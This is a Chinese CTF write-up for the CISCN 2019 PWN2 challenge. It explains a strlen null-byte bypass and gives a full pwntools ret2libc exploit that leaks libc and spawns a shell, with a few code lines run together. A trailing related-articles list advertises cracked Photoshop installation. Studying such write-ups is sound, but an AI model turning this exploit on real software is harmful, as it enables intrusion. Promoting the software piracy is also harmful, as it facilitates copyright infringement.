nssctf刷题总结

server/2024/9/24 20:20:42/

首先就是关于"\x00"截断问题,'\x00'被当做字符串的截止字符,这就很有趣了我们可以把\x00放在我们要发送数据的前面,经过\x00截断,后面的数据就不用读入了。。。。。。嘿嘿,好像听起来没什么用,确实我们在一般情况下需要注意这个问题,不能有\x00截断。现在我们要想想如何利用它,用它过检测机制如strlen一类的。当strlen检测字符串长度时检测到\x00就会发生截断,自然绕过了检测,结果就是null即0。

例题:[CISCN 2019东北]PWN2

 开始审计代码:上来就是死循环,fflush清空缓冲区,读入v4是整数,我们看看begin,一点用没有.

 

只有v4=1的时候 跳出轮回流,进入encrypt函数,然后begin。。。。既然begin函数没有用,那转机就在encrypt函数了

非常好,栈溢出啊,一定要溢出才行哦,不然不能getshell的qwq。看看下面的各种逆天映射,博🐖在第一次看的时候也是头昏眼花,本着小白的可爱,想着完成他的映射,后来实在射不出来,回头看了遍程序突然发现不用射了,可以直接绕过,吆西,管他映射干嘛,我用的可是溢出啊。

直接\x00不让strlen开始射前准备,打断施法。这样v0肯定大于strlen(s)直接break,吆西。

exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
import gmpy2
def s(a):p.send(a)
def sla(a,b):p.sendlineafter(a,b)
def sl(a):p.sendline(a)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def bug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():return libc_base + libc.sym['system'],libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux',arch='amd64',log_level='debug')
p= process('./CISCN2019')
elf=ELF('./CISCN2019')
rdi=0x0000000000400c83
libc=ELF("libc6_2.27-0ubuntu3_amd64.so")
sla("choice!",b'1')
payload=b'\x00'+b'a'*(0x57)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4009a0)
sla("Input your Plaintext to be encrypted",payload)
puts=get_addr()
print(hex(puts))
addr=puts-libc.sym['puts']
print(hex(addr))
sh=addr+next(libc.search(b'/bin/sh\x00'))
system=addr+libc.sym['system']
pay1=b'\x00'+b'a'*(0x57)+p64(rdi)+p64(sh)+p64(rdi+1)+p64(system)
sla('Input your Plaintext to be encrypted',pay1)
inter()

 


http://www.ppmy.cn/server/46355.html

相关文章

ML307R OpenCPU TCP使用

一、TCP通信流程 二、示例 三、TCP通信代码 一、TCP通信流程 ML307R TCP 是使用LWIP的标准的socket通信,具体TCP流程可以自行百度 二、示例 实验目的:实现把接收的数据再发送到服务端 测试网址:TCP电脑端测试网址 因为是4G,所以必须用外网的 /* 测试前请先补充如下…

SQL数据库多表创建之一对多、多对多表创建

MySQL多表创建关联及操作_mysql创建关联表-CSDN博客文章浏览阅读1.1k次,点赞21次,收藏20次。表与表之间的关系表语表之间的关系,说的就是表与表数据之间的关系。_mysql创建关联表https://blog.csdn.net/2401_83641392/article/details/137031…

MySQL学习——连接服务器和输入查询

MySQL是一个流行的关系型数据库管理系统(RDBMS),由瑞典的MySQL AB公司开发,后来被Oracle公司收购。它使用SQL(结构化查询语言)作为访问和操作数据库的标准语言。 要查看 mysql 客户端程序提供的选项列表&a…

JS-Lodash工具库

文档:Lodash Documentation orderBy函数:根据条件进行排序 注:第一个是要排序的数组,第二个是根据什么字段进行排序,第三个是排序的方式(desc倒序) 安装方式:Lodash npm i lodash…

Rust 基本语法

变量 整数 无符号整数以u开头有符号整数以i开头对于Rust默认整数是i32对于整数溢出 开发模式中编译会检测溢出,如果溢出会导致程序panic发布模式中编译不会检查可能会导致的溢出,如果运行时发生溢出,会执行环绕操作保证数值在范围内且程序不…

【Linux】进程池

大致草稿 思维导图 学习目标 一、进程池的代码编写顺序 在进程池中,我们要创建多个子进程,并且对多个子进程和父进程建立管道的关系,确保父进程和子进程之间可以进行相互通信。 父进程就是master,而子进程就是work/slaver。大致…

PS Mac Photoshop 2024 for Mac[破]图像处理软件[解]PS 2024安装教程[版]

Mac分享吧 文章目录 效果一、准备工作二、开始安装1、Anticc简化版安装1.1双击运行软件,安装1.2 解决来源身份不明的开发者问题**此代码为打开:系统偏好设置 – 隐私与安全性,中的【任何来源】,如下图:**1.3 再次运行…

Mac OS 用户开启 80 端口

开启端口 sudo vim /etc/pf.conf # 开放对应端口 pass out proto tcp from any to any port 8080 # 刷新配置文件 sudo pfctl -f /etc/pf.conf sudo pfctl -e获取本机ip地址 ifconfig en0 | grep inet | grep -v inet6 | awk {print $2}访问指定端口